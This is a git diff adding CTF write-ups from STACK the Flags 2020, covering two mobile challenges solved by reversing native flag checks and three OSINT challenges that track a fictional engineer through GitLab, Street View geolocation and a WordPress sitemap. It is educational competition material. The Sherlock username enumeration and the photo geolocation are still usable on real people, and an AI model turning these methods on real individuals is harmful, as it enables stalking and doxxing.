0000000..d463585 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Mobile/Stats/IDA_hell.png differ diff --git a/STACK the Flags 2020/Mitsuha/Mobile/Stats/README.md b/STACK the Flags 2020/Mitsuha/Mobile/Stats/README.md new file mode 100644 index 0000000..01bd7c2 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Mobile/Stats/README.md @@ -0,0 +1,237 @@ +# Stats [3000] +2 SOLVES + +A long long time ago, people jused to search the expected COViD cases by daily newspaper update. With Korovax Mobile, you can easily retrieve this stats via new technological platform. But does the stat actually tally? Checkout the local file storage and decrypt your way to the truth, young Padawan. +## Solving +![](code.png) + +As per usual, the only part of the program requiring attention is the single `if()` statement that checks for flag validity. The user input is cross-checked with this function: +```java +public native int check(String str, int i); +``` +I headed to IDA to have a look at it. + +

+
+What +

+ +There was absolutely no way I was going to reverse all of that. Fortunately, I didn't. + +Using IDA's xref function (press x on the variable of interest), I determined that the input flag string was only used at the end of the function for a xorred string comparison: + +![](end.png) + +Now we've got a better plan: +1. copy paste the code from IDA to obtain the final values of `xmmword_422(2|3)0` and `xmmword_335(A|B)0` +2. xor the two values to get the flag desired + +The code for step 1 is here: +```c +#include +#include +#include "defs.h" +char Lukeskywalker_repeated[50]; +char aLukeskywalkeri[50] = "LUKESKYWALKERISAJEDI"; + +// this function is added to fix type casting. +__m128i m128i_from_char(char *s){ + //m128i requires weird alignment. You can't do *(__m128i)(s) if (s & 0xf). + __m128i v; + memcpy(&v, s, 16); + return v; +} +__int64 check(char *s, int len) +{ + // grab these constants with IDA-python hacks. +const __uint128_t xmmword_354E0 = *(__uint128_t*)"\x65\x00\x00\x00\x6b\x00\x00\x00\x60\x00\x00\x00\x6e\x00\x00\x00"; +const __uint128_t xmmword_354F0 = *(__uint128_t*)"\x68\x00\x00\x00\x5d\x00\x00\x00\x69\x00\x00\x00\x71\x00\x00\x00"; +const __uint128_t xmmword_35500 = *(__uint128_t*)"\x71\x00\x00\x00\x6d\x00\x00\x00\x6b\x00\x00\x00\x6b\x00\x00\x00"; +const __uint128_t xmmword_35510 = *(__uint128_t*)"\x5f\x00\x00\x00\x5c\x00\x00\x00\x69\x00\x00\x00\x70\x00\x00\x00"; +const __uint128_t xmmword_35520 = *(__uint128_t*)"\x4f\xec\xc4\x4e\x4f\xec\xc4\x4e\x4f\xec\xc4\x4e\x4f\xec\xc4\x4e"; +const __uint128_t xmmword_35530 = *(__uint128_t*)"\x1a\x00\x00\x00\x1a\x00\x00\x00\x1a\x00\x00\x00\x1a\x00\x00\x00"; +const __uint128_t xmmword_35540 = *(__uint128_t*)"\xff\x00\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00"; +const __uint128_t xmmword_35550 = *(__uint128_t*)"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; +const __uint128_t xmmword_35560 = *(__uint128_t*)"\x68\x00\x00\x00\x66\x00\x00\x00\x5e\x00\x00\x00\x63\x00\x00\x00"; +const __uint128_t xmmword_35570 = *(__uint128_t*)"\x5b\x00\x00\x00\x67\x00\x00\x00\x6b\x00\x00\x00\x5b\x00\x00\x00"; +const __uint128_t xmmword_35580 = *(__uint128_t*)"\x71\x00\x00\x00\x6f\x00\x00\x00\x67\x00\x00\x00\x72\x00\x00\x00"; +const __uint128_t xmmword_35590 = *(__uint128_t*)"\x6b\x00\x00\x00\x63\x00\x00\x00\x64\x00\x00\x00\x63\x00\x00\x00"; +const __uint128_t xmmword_355A0 = *(__uint128_t*)"\x33\x27\x33\x26\x20\x2a\x3b\x78\x2d\x21\x22\x28\x19\x09\x37\x0b"; +const __uint128_t xmmword_355B0 = *(__uint128_t*)"\x3c\x2d\x74\x1e\x78\x35\x2b\x0b\x0b\x1c\x24\x74\x3a\x1e\x21\x38"; +const __uint128_t xmmword_355C0 = *(__uint128_t*)"\x00\x04\x08\x0c\x01\x05\x09\x0d\x02\x06\x0a\x0e\x03\x07\x0b\x0f"; + const __m128i *s_cpy = s; + __int128 xmmword_44220; + __int128 xmmword_44230; + __int64 i; // rcx + int j; // edi + int v8; // ebx + int v9; // edi + int v10; // ebx + unsigned int v11; // ebx + __m128i v12; // xmm6 + __m128i v13; // xmm4 + __m128i v14; // xmm5 + __m128i v15; // xmm0 + __m128i v16; // xmm1 + __m128i v17; // xmm3 + __m128i v18; // xmm9 + __m128i v19; // xmm7 + __m128i v20; // xmm5 + __m128i v21; // xmm7 + __m128i v22; // xmm4 + __m128i v23; // xmm7 + __m128i v24; // xmm10 + __m128i v25; // xmm8 + __m128i v26; // xmm4 + __m128i v27; // xmm6 + __m128i v28; // xmm7 + __m128i v29; // xmm3 + __m128i v30; // xmm5 + __m128i v31; // xmm3 + __m128i v32; // xmm5 + __m128i v33; // xmm7 + __m128i v34; // xmm5 + __m128i v35; // xmm1 + + //s_cpy = (const __m128i *)(*(__int64 (__fastcall **)(__int64, char *, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, s, 0LL); + if ( len == 32 ) + { + i = 0LL; + j = 0; + do + { + v8 = 0; + if ( j != 20 ) + v8 = j; + *((_BYTE *)&Lukeskywalker_repeated + i) = aLukeskywalkeri[v8]; + v9 = v8 + 1; + v10 = 0; + if ( v9 != 20 ) + v10 = v9; + *((_BYTE *)&Lukeskywalker_repeated + i + 1) = aLukeskywalkeri[v10]; + i += 2LL; + j = v10 + 1; + } + while ( i != 32 ); + puts(Lukeskywalker_repeated); + // LOBYTE(key) = 0; + + v12 = _mm_sub_epi32(_mm_load_si128((const __m128i *)&xmmword_354E0), _mm_cvtepu8_epi32(m128i_from_char(Lukeskywalker_repeated+12))); + v13 = _mm_sub_epi32(_mm_load_si128((const __m128i *)&xmmword_354F0), _mm_cvtepu8_epi32(m128i_from_char(Lukeskywalker_repeated+8))); + v14 = _mm_sub_epi32(_mm_load_si128((const __m128i *)&xmmword_35500), _mm_cvtepu8_epi32(m128i_from_char(Lukeskywalker_repeated+4))); + v15 = _mm_sub_epi32(_mm_load_si128((const __m128i *)&xmmword_35510), _mm_cvtepu8_epi32(m128i_from_char(Lukeskywalker_repeated))); + v16 = _mm_load_si128((const __m128i *)&xmmword_35520); + v17 = _mm_blend_epi16( + _mm_shuffle_epi32(_mm_mul_epi32(v15, v16), 245), + _mm_mul_epi32(_mm_shuffle_epi32(v15, 245), v16), + 204); + v18 = _mm_load_si128((const __m128i *)&xmmword_35530); + v19 = _mm_blend_epi16( + _mm_shuffle_epi32(_mm_mul_epi32(v14, v16), 245), + _mm_mul_epi32(_mm_shuffle_epi32(v14, 245), v16), + 204); + v20 = _mm_sub_epi32(v14, _mm_mullo_epi32(_mm_add_epi32(_mm_srli_epi32(v19, 3u), _mm_srli_epi32(v19, 0x1Fu)), v18)); + v21 = _mm_blend_epi16( + _mm_shuffle_epi32(_mm_mul_epi32(v13, v16), 245), + _mm_mul_epi32(_mm_shuffle_epi32(v13, 245), v16), + 204); + v22 = _mm_sub_epi32(v13, _mm_mullo_epi32(_mm_add_epi32(_mm_srli_epi32(v21, 3u), _mm_srli_epi32(v21, 0x1Fu)), v18)); + v23 = _mm_blend_epi16( + _mm_shuffle_epi32(_mm_mul_epi32(v12, v16), 245), + _mm_mul_epi32(_mm_shuffle_epi32(v12, 245), v16), + 204); + v24 = _mm_load_si128((const __m128i *)&xmmword_35540); + v25 = _mm_load_si128((const __m128i *)&xmmword_35550); + xmmword_44220 = (__int128)_mm_add_epi8( + _mm_packus_epi16( + _mm_packus_epi32( + _mm_and_si128( + _mm_sub_epi32( + v15, + _mm_mullo_epi32( + _mm_add_epi32(_mm_srli_epi32(v17, 3u), _mm_srli_epi32(v17, 0x1Fu)), + v18)), + v24), + _mm_and_si128(v20, v24)), + _mm_packus_epi32( + _mm_and_si128(v22, v24), + _mm_and_si128( + _mm_sub_epi32( + v12, + _mm_mullo_epi32( + _mm_add_epi32(_mm_srli_epi32(v23, 3u), _mm_srli_epi32(v23, 0x1Fu)), + v18)), + v24))), + v25); + v26 = _mm_sub_epi32(_mm_load_si128((const __m128i *)&xmmword_35560), _mm_cvtepu8_epi32(m128i_from_char(Lukeskywalker_repeated+28))); + v27 = _mm_sub_epi32(_mm_load_si128((const __m128i *)&xmmword_35570), _mm_cvtepu8_epi32(m128i_from_char(Lukeskywalker_repeated+24))); + v28 = _mm_sub_epi32(_mm_load_si128((const __m128i *)&xmmword_35580), _mm_cvtepu8_epi32(m128i_from_char(Lukeskywalker_repeated+20))); + v29 = _mm_sub_epi32(_mm_load_si128((const __m128i *)&xmmword_35590), _mm_cvtepu8_epi32(m128i_from_char(Lukeskywalker_repeated+16))); + v30 = _mm_blend_epi16( + _mm_shuffle_epi32(_mm_mul_epi32(v29, v16), 245), + _mm_mul_epi32(_mm_shuffle_epi32(v29, 245), v16), + 204); + v31 = _mm_sub_epi32(v29, _mm_mullo_epi32(_mm_add_epi32(_mm_srli_epi32(v30, 3u), _mm_srli_epi32(v30, 0x1Fu)), v18)); + v32 = _mm_blend_epi16( + _mm_shuffle_epi32(_mm_mul_epi32(v28, v16), 245), + _mm_mul_epi32(_mm_shuffle_epi32(v28, 245), v16), + 204); + v33 = _mm_sub_epi32(v28, _mm_mullo_epi32(_mm_add_epi32(_mm_srli_epi32(v32, 3u), _mm_srli_epi32(v32, 0x1Fu)), v18)); + v34 = _mm_blend_epi16( + _mm_shuffle_epi32(_mm_mul_epi32(v27, v16), 245), + _mm_mul_epi32(_mm_shuffle_epi32(v27, 245), v16), + 204); + v35 = _mm_blend_epi16( + _mm_shuffle_epi32(_mm_mul_epi32(v16, v26), 245), + _mm_mul_epi32(_mm_shuffle_epi32(v26, 245), v16), + 204); + xmmword_44230 = (__int128)_mm_add_epi8( + _mm_packus_epi16( + _mm_packus_epi32(_mm_and_si128(v31, v24), _mm_and_si128(v33, v24)), + _mm_packus_epi32( + _mm_and_si128( + _mm_sub_epi32( + v27, + _mm_mullo_epi32( + _mm_add_epi32(_mm_srli_epi32(v34, 3u), _mm_srli_epi32(v34, 0x1Fu)), + v18)), + v24), + _mm_and_si128( + _mm_sub_epi32( + v26, + _mm_mullo_epi32( + _mm_add_epi32(_mm_srli_epi32(v35, 3u), _mm_srli_epi32(v35, 0x1Fu)), + v18)), + v24))), + v25); + LOBYTE(*(__m128i*)Lukeskywalker_repeated) = 0; + //here, the relevant values are dumped out +#define charAt(x,i) ((char*)&x)[i] + printf("key: "); + for (int i = 0; i < 16; i++) printf("%.2hhx", charAt(xmmword_44220,i)); + for (int i = 0; i < 16; i++) printf("%.2hhx", charAt(xmmword_44230,i)); + printf("\nother: "); + for (int i = 0; i < 16; i++) printf("%.2hhx", charAt(xmmword_355A0,i)); + for (int i = 0; i < 16; i++) printf("%.2hhx", charAt(xmmword_355B0,i)); + v11 = _mm_movemask_epi8( + _mm_and_si128( + _mm_cmpeq_epi8(_mm_xor_si128(_mm_loadu_si128(s_cpy + 1), (__m128i)xmmword_44230), (__m128i)xmmword_355B0), + _mm_cmpeq_epi8(_mm_xor_si128(_mm_loadu_si128(s_cpy), (__m128i)xmmword_44220), (__m128i)xmmword_355A0))) != 0xFFFF; + } + return v11; +} +int main(){ + check("abcdef12345678900987654321abcdef", 32); +} +``` +After compiling this with `gcc check.c -msse4`, these values are obtained: +``` +key: 54484552454953554e52455354494e54484547414c414354494353454e415445 +other: 33273326202a3b782d2122281909370b3c2d741e78352b0b0b1c24743a1e2138 +``` +We'll grab the flag with a simple two-liner: +```python +>>> from pwn import * +>>> xor(*map(lambda v:pack(v,'all'), (0x54484552454953554e52455354494e54484547414c414354494353454e415445, 0x33273326202a3b782d2122281909370b3c2d741e78352b0b0b1c24743a1e2138)))[::-1] +b'govtech-csg{M@y_th3_4th_B_w1t_u}' +``` \ No newline at end of file diff --git a/STACK the Flags 2020/Mitsuha/Mobile/Stats/code.png b/STACK the Flags 2020/Mitsuha/Mobile/Stats/code.png new file mode 100644 index 0000000..5611c64 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Mobile/Stats/code.png differ diff --git a/STACK the Flags 2020/Mitsuha/Mobile/Stats/end.png b/STACK the Flags 2020/Mitsuha/Mobile/Stats/end.png new file mode 100644 index 0000000..30d6c55 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Mobile/Stats/end.png differ diff --git a/STACK the Flags 2020/Mitsuha/Mobile/tasktasktask/README.md b/STACK the Flags 2020/Mitsuha/Mobile/tasktasktask/README.md new file mode 100644 index 0000000..d836668 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Mobile/tasktasktask/README.md @@ -0,0 +1,77 @@ +# Task, task, task! [1990] +3 SOLVES + +Korovax supports their members in many ways, and members can set task to remind themselves of the things they need to do! For example, when to wash their hands! +## Solving +![](java.png) +Native function: `public native int checkFlag(String str, int i);` + +Within IDA Pro, `checkFlag()` looks like this: +```c +__int64 __fastcall Java_sg_gov_tech_ctf_mobile_Admin_TaskActivity_checkFlag(__int64 a1, __int64 a2, __int64 a3, int a4) +{ + const char *v5; // rax + unsigned __int8 v7[16]; // [rsp+20h] [rbp-B8h] BYREF + __m128i v8; // [rsp+30h] [rbp-A8h] BYREF + char v9[128]; // [rsp+40h] [rbp-98h] BYREF + unsigned __int64 v10; // [rsp+C0h] [rbp-18h] + + v10 = __readfsqword(0x28u); + if ( a4 <= 0 || (a4 & 3) != 0 ) + __android_log_print(6LL, "JNI", "%s", "Length error"); + v5 = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a3, 0LL); + if ( (unsigned int)encrypt(v7, v5, 32) ) + __android_log_print(6LL, "JNI", "%s", "Encrypt error"); + if ( _mm_movemask_epi8( + _mm_and_si128( + _mm_cmpeq_epi8(_mm_load_si128((const __m128i *)v7), (__m128i)xmmword_35470), + _mm_cmpeq_epi8(_mm_load_si128(&v8), (__m128i)xmmword_35460))) != 0xFFFF + && _mm_movemask_epi8( + _mm_and_si128( + _mm_cmpeq_epi8(_mm_load_si128((const __m128i *)v7), (__m128i)xmmword_35490), + _mm_cmpeq_epi8(_mm_load_si128(&v8), (__m128i)xmmword_35480))) != 0xFFFF ) + { + return _mm_movemask_epi8( + _mm_and_si128( + _mm_cmpeq_epi8(_mm_load_si128((const __m128i *)v7), (__m128i)xmmword_354B0), + _mm_cmpeq_epi8(_mm_load_si128(&v8), (__m128i)xmmword_354A0))) != 0xFFFF; + } + sub_10720((char)v9); + __android_log_print(3LL, "JNI", "%s", v9); + return 2LL; +} +``` +That really sucks; this is what the code _actually_ does: +```c +__int128 xmmword_354A0 = ...; //1D4E54113A24205D50655F33505C7C28 +__int128 xmmword_354B0 = ...; //3D3D69331B1B4717040D174116034C18 +int checkFlag(char *input, int len) { + char encrypted[32]; + encrypt(encrypted, input, 32); + if () + return (*(__int128*)encrypted == xmmword_354B0) && \ + (*(__int128*)(encrypted+16) == xmmword_354A0); + // note that the ordering here is 354B0 before 354A0. +} +``` +`encrypt()` is a convoluted function: +![](notfun.png) +Eventually, I manually reversed the whole thing & wrote a decryption method in python: +```python +from pwn import * # for group() +def decrypt(crypt:bytes): + def decrypt_4bytes(c): + return bytes([ + 0x33^c[1]^c[0], + 0x38^c[2]^c[1]^c[0], + 0xf^0x38^c[3]^c[2]^c[1]^c[0], + c[0]^0x6c, + ]) + return b''.join(decrypt_4bytes(g) for g in group(4,crypt)) +``` +Run for the flag. +```python +crypt = (0x184c031641170d0417471b1b33693d3d287c5c50335f65505d20243a11544e1d).to_bytes(0x20,'big') +print(decrypt(crypt)) +``` +`govtech-csg{i_m_g0oD_1n_NaT1v3!}` \ No newline at end of file diff --git a/STACK the Flags 2020/Mitsuha/Mobile/tasktasktask/java.png b/STACK the Flags 2020/Mitsuha/Mobile/tasktasktask/java.png new file mode 100644 index 0000000..8c04f82 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Mobile/tasktasktask/java.png differ diff --git a/STACK the Flags 2020/Mitsuha/Mobile/tasktasktask/notfun.png b/STACK the Flags 2020/Mitsuha/Mobile/tasktasktask/notfun.png new file mode 100644 index 0000000..3cf67d1 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Mobile/tasktasktask/notfun.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/1.jpg b/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/1.jpg new file mode 100644 index 0000000..1688fbe Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/1.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/2.jpg b/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/2.jpg new file mode 100644 index 0000000..fda92af Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/2.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/README.md b/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/README.md new file mode 100644 index 0000000..e54fc7f --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/README.md @@ -0,0 +1,71 @@ +# What is he working on? Some high value project? 790 Points - 29 Solves (Cat 3) + +``` +The lead Smart Nation engineer is missing! He has not responded to our calls for 3 days and is suspected to be kidnapped! Can you find out some of the projects he has been working on? Perhaps this will give us some insights on why he was kidnapped…maybe some high-value projects! This is one of the latest work, maybe it serves as a good starting point to start hunting. + +Flag is the repository name! + +Developer's Portal - STACK the Flags (https://www.developer.tech.gov.sg/communities/events/stack-the-flags-2020) + +Note: Just this page only! Only stack-the-flags-2020 page have the clues to help you proceed. Please do not perform any scanning activities on www.developer.tech.gov.sg. This is not part of the challenge scope! +``` + +Now let's head over to the developer portal! + +At first I did not find anything interesting in it, and went on a huge adventure stalking everybody in different Govtech divisions as there were links to their Githubs in the footer of the page. But after hours of work, no result :sweat:. (**Fun fact:** I stalked my current internship supervisor too) + +Afterwards, my teammate spotted a HTML comment in the page that was just added a day ago (if you check the developer.tech.gov.sg github repository) + +```html + +``` + +Now we have a username lead, let's run the good ole **Sherlock**: + +```bash +python3 sherlock/ joshhky + +[*] Checking username joshhky on: +[+] 500px: https://500px.com/p/joshhky +[+] Facebook: https://www.facebook.com/joshhky +[+] GitLab: https://gitlab.com/joshhky +[+] ICQ: https://icq.im/joshhky +[+] Instagram: https://www.instagram.com/joshhky +[+] Roblox: https://www.roblox.com/user.aspx?username=joshhky +[+] Sporcle: https://www.sporcle.com/user/joshhky/people +[+] Travellerspoint: https://www.travellerspoint.com/users/joshhky +[+] YouTube: https://www.youtube.com/joshhky +``` + +We checked through the various social media platforms first (Facebook, Instagram) just to make sure we do not miss anything, but they seemed unrelated to the challenge. + +But hey, there's a [**gitlab account**](https://gitlab.com/joshhky) with this handle, just as the comment said! Let's take a look at it: + +![](1.jpg) + +Ooo, a fairly new Gitlab account, seems like we are on the right track. + +After trying several different repos that Josh Hong had such as `myownwebsite` and `curriculum-vitae` with no luck (guess it wasn't that easy :sweat:)​ I decided to snoop around more. + +Looking at the `groups`, we will see a `KoroVax` group that Josh Hong is part of... hmm interesting. + +![](2.jpg) + +I then proceeded to try all the repo names listed above.... and well... no luck :sweat: + +That's when I clicked through the repos and noticed something very interesting in the README of `korovax-employee-wiki`: + +``` +Todo: +- The employee wiki will list what each employee is responsible for, eg, Josh will be in charge of the krs-admin-portal +- Please note that not all repository should be made public, relevant ones with business data should be made private +``` + +`Not all repository should be made public`... such as `Josh who is in charge of the krs-admin-portal`... could it be :O? + +And indeed, it is, hence the flag is: + +``` +govtech-csg{krs-admin-portal} +``` + diff --git a/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/debug.log b/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/debug.log new file mode 100644 index 0000000..56f5344 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/OSINT/1. What is he working on Some high value project/debug.log @@ -0,0 +1 @@ +[1208/202701.918:ERROR:directory_reader_win.cc(43)] FindFirstFile: The system cannot find the path specified. (0x3) diff --git a/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/1.jpg b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/1.jpg new file mode 100644 index 0000000..b71f2f4 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/1.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/2.jpg b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/2.jpg new file mode 100644 index 0000000..0804338 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/2.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/3.jpg b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/3.jpg new file mode 100644 index 0000000..cc90eee Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/3.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/4.jpg b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/4.jpg new file mode 100644 index 0000000..4f07b72 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/4.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/5.jpg b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/5.jpg new file mode 100644 index 0000000..eb14f2b Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/5.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/6.jpg b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/6.jpg new file mode 100644 index 0000000..7792e8d Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/6.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/7.jpg b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/7.jpg new file mode 100644 index 0000000..50157f7 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/7.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/8.jpg b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/8.jpg new file mode 100644 index 0000000..266e3a1 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/8.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/9.jpg b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/9.jpg new file mode 100644 index 0000000..63aa69e Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/9.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/README.md b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/README.md new file mode 100644 index 0000000..aca074c --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/OSINT/2. Where was he kidnapped/README.md @@ -0,0 +1,65 @@ +# Where was he kidnapped? 790 Points - 29 Solves (Cat 3) + +``` +The missing engineer stores his videos from his phone in his private cloud servers. We managed to get hold of these videos and we will need your help to trace back the route taken he took before going missing and identify where he was potentially kidnapped! + +Flag Format: govtech-csg{postal_code} +``` + +We are given a zip file with 3 videos, with each video looking like an **Instagram post** detailing the missing engineer's journey to... somewhere. + +We first tried to check `exiftool` for any possible location metadata... but no luck there. There is also no hidden strings or anything of interest. + +Alright... it's time to go James Bond mode and ~~physically OSINT Singapore~~.. wait I mean, **Online**SINT using **Google Street View**! + +![](1.jpg) + +Hmmm... this seems like somewhere near an **MRT station** along the route of bus no. **117**. Let's search up the **route** for bus 117! + +![](2.jpg) + +Comparing it with Google Maps, it seems like there are **3 possible stops** (*indicated by the red circles*) along 117's route. + +Let's jump into street view! After some searching... + +![](3.jpg) + +Well this certainly seems a lot like the video, the colours of the HDB, and the roof of the MRT station at the top left matches the video. This is **[Khatib MRT Station!](https://www.google.com/maps/place/Khatib/@1.4167243,103.8336734,17z/data=!4m5!3m4!1s0x31da140d88c212af:0xee8d41e8f1c31ff9!8m2!3d1.4173486!4d103.8329733)** + + + +Now, let's take a look at the 2nd video. + +![](4.jpg) + +It seems like he has **alighted from bus 117** somewhere that is **not near the MRT station**. Our only clue as to **which bus stop he alighted at** is this 2 **distinctive yellow pillars** and it is **probably in a HDB area** since there are **HDBs at the back**. So let's get searching **along the circled part of 117's bus route!** + +![](5.jpg) + +After some searching, look what we have ourselves here! +![](6.jpg) + +We found the [bus stop](https://www.google.com/maps/place/Blk+871/@1.4127738,103.8378773,17z/data=!4m12!1m6!3m5!1s0x31da140d88c212af:0xee8d41e8f1c31ff9!2sKhatib!8m2!3d1.4173486!4d103.8329733!3m4!1s0x31da1410dbab270b:0xd6fa8c07654c3436!8m2!3d1.4128928!4d103.8381037) he alighted at! (Stop ID: 59501) + +He must be close to this area! Let's look at the final video: + +![](7.jpg) + +He seems to have **sat down under a HDB block** with these **distinct rounded tiled table**, a **garden at the back with a fence** and a **bench in an odd position in front of the rounded bench...** before being kidnapped. Let's head into Street View again and look at the blocks surrounding the bus stop! + +![](8.jpg) + +Now... doesn't that look oddly familiar? Let's take a look from the **other side**: + +![](9.jpg) + +Aha! Now that's almost a perfect match! That odd bench placement, the rounded table and the fenced up garden behind! + +Hence, the postal code for this block (Block 870 Yishun) is **760870**! + +Thus, the flag is: + +``` +govtech-csg{760870} +``` + diff --git a/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/README.md b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/README.md new file mode 100644 index 0000000..7323758 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/OSINT/3. Who are the possible kidnappers/README.md @@ -0,0 +1,288 @@ +# Who are the possible kidnappers? + +### OSINT [1990] - 3 Solves + +______ + +***Perform OSINT to gather information on the organisation’s online presence. Start by identifying a related employee and obtain more information. Information are often posted online to build the organization's or the individual's online presence (i.e. blog post). Flag format is the name of the employee and the credentials, separated by an underscore. For example, the name is Tina Lee and the credentials is MyPassword is s3cure. The flag will be govtech-csg{TinaLee_MyPassword is s3cure}*** + +***This challenge:*** +***\- Unlocks other challenge(s)*** +***\- Is eligible for Awesome Write-ups Award*** + +***Addendum:*** +***\- Look through the content! Have you looked through ALL the pages? If you believe that you have all the information required, take a step back and analyse what you have.*** +***\- In Red Team operations, it is common for Red Team operators to target the human element of an organisation. Social medias such as "Twitter" often have information which Red Team operators can use to pivot into the organisation. Also, there might be hidden portal(s) that can be discovered through "sitemap(s)"?*** + +***I guess if you can log in with the password, then you should look at the flag format again!*** + +***Note: engaging/contacting Ms. Miller is not in scope for this ctf.*** + + + +### Disclaimer: This challenge was not solved during the CTF. + +_____ + +Now that that's clear, let's move on. + + + +### What organisation is this? + +______ + +For this CTF, most of the challenges follow a **common storyline**. For example, we see the organisations COViD and KoroVax everywhere. + +As such, we actually came across [KoroVax's](http://www.korovax.org/) website from the mobile section of the CTF. + +Visiting the website, we note that it is a WordPress site.![koro](koro.png) + +We tried to run `wpscan` on the website, but interestingly enough, it kept failing so we did not continue with that path. + + + +Preliminary investigations led to nothing of interest except for the following information: + +The Twitter Handle (@scba) from https://csgctf.wordpress.com/2020/10/01/example-post-3/ + +The Team from https://csgctf.wordpress.com/team/ + + + +We look back to the problem statement: + +``` +Also, there might be hidden portal(s) that can be discovered through "sitemap(s)"? +``` + +Hmmm... Let's visit the sitemap of this website then! + +`korovax.org/sitemap.xml` + +![sitemap](sitemap.png) + + + +What a mess! Let's clean up everything: + +``` +https://csgctf.wordpress.com/in-your-dreams-alfred/ +2020-11-20T02:39:48+00:00weekly0.6 +https://csgctf.wordpress.com/team/ +2020-11-05T02:08:22+00:00weekly0.6 +https://csgctf.wordpress.com/oh-ho/ +2020-11-03T07:05:08+00:00weekly0.6 +https://csgctf.wordpress.com/contact/ +2020-10-22T03:48:13+00:00weekly0.6 +https://csgctf.wordpress.com/2020/10/01/example-post/ +2020-10-22T03:22:07+00:00monthly +https://csgctf.wordpress.com/2020/10/01/example-post-3/ +2020-10-22T03:20:55+00:00monthly +https://csgctf.wordpress.com/2020/10/01/example-post-2/ +2020-10-22T03:20:23+00:00monthly +https://csgctf.wordpress.com/ +2020-10-22T02:10:35+00:00weekly0.6 +https://csgctf.wordpress.com/2020/10/22/important/ +2020-10-22T01:53:38+00:00monthly +https://csgctf.wordpress.com/never-gonna/ +2020-10-22T01:46:32+00:00weekly0.6 +https://csgctf.wordpress.com/2020/10/22/improved-helpdesk-experience/ +2020-10-22T01:37:34+00:00monthly +https://csgctf.wordpress.com/2020/10/21/new-tool-i-found/ +2020-10-21T09:23:09+00:00monthly +https://csgctf.wordpress.com/2020/10/21/potatoes/ +2020-10-21T09:17:44+00:00monthly +https://csgctf.wordpress.com/2020/10/16/korovaxs-antibody-cocktail-kvn-eb1-krimzeb-is-first-fda-approved-treatment-for-ebola-zaire-ebolavirusin-a-large-clinical-trial-krimzeb-showed-superiority-compared-to-other-investigational/ +2020-10-21T09:03:36+00:00monthly +https://csgctf.wordpress.com/about/ +2020-10-16T08:04:09+00:00weekly0.6 +https://csgctf.wordpress.com/about-2/ +2020-10-16T08:00:32+00:00weekly0.6 +https://csgctf.wordpress.com/blog/ +2020-10-01T08:53:13+00:00weekly0.6 +https://csgctf.wordpress.com/ 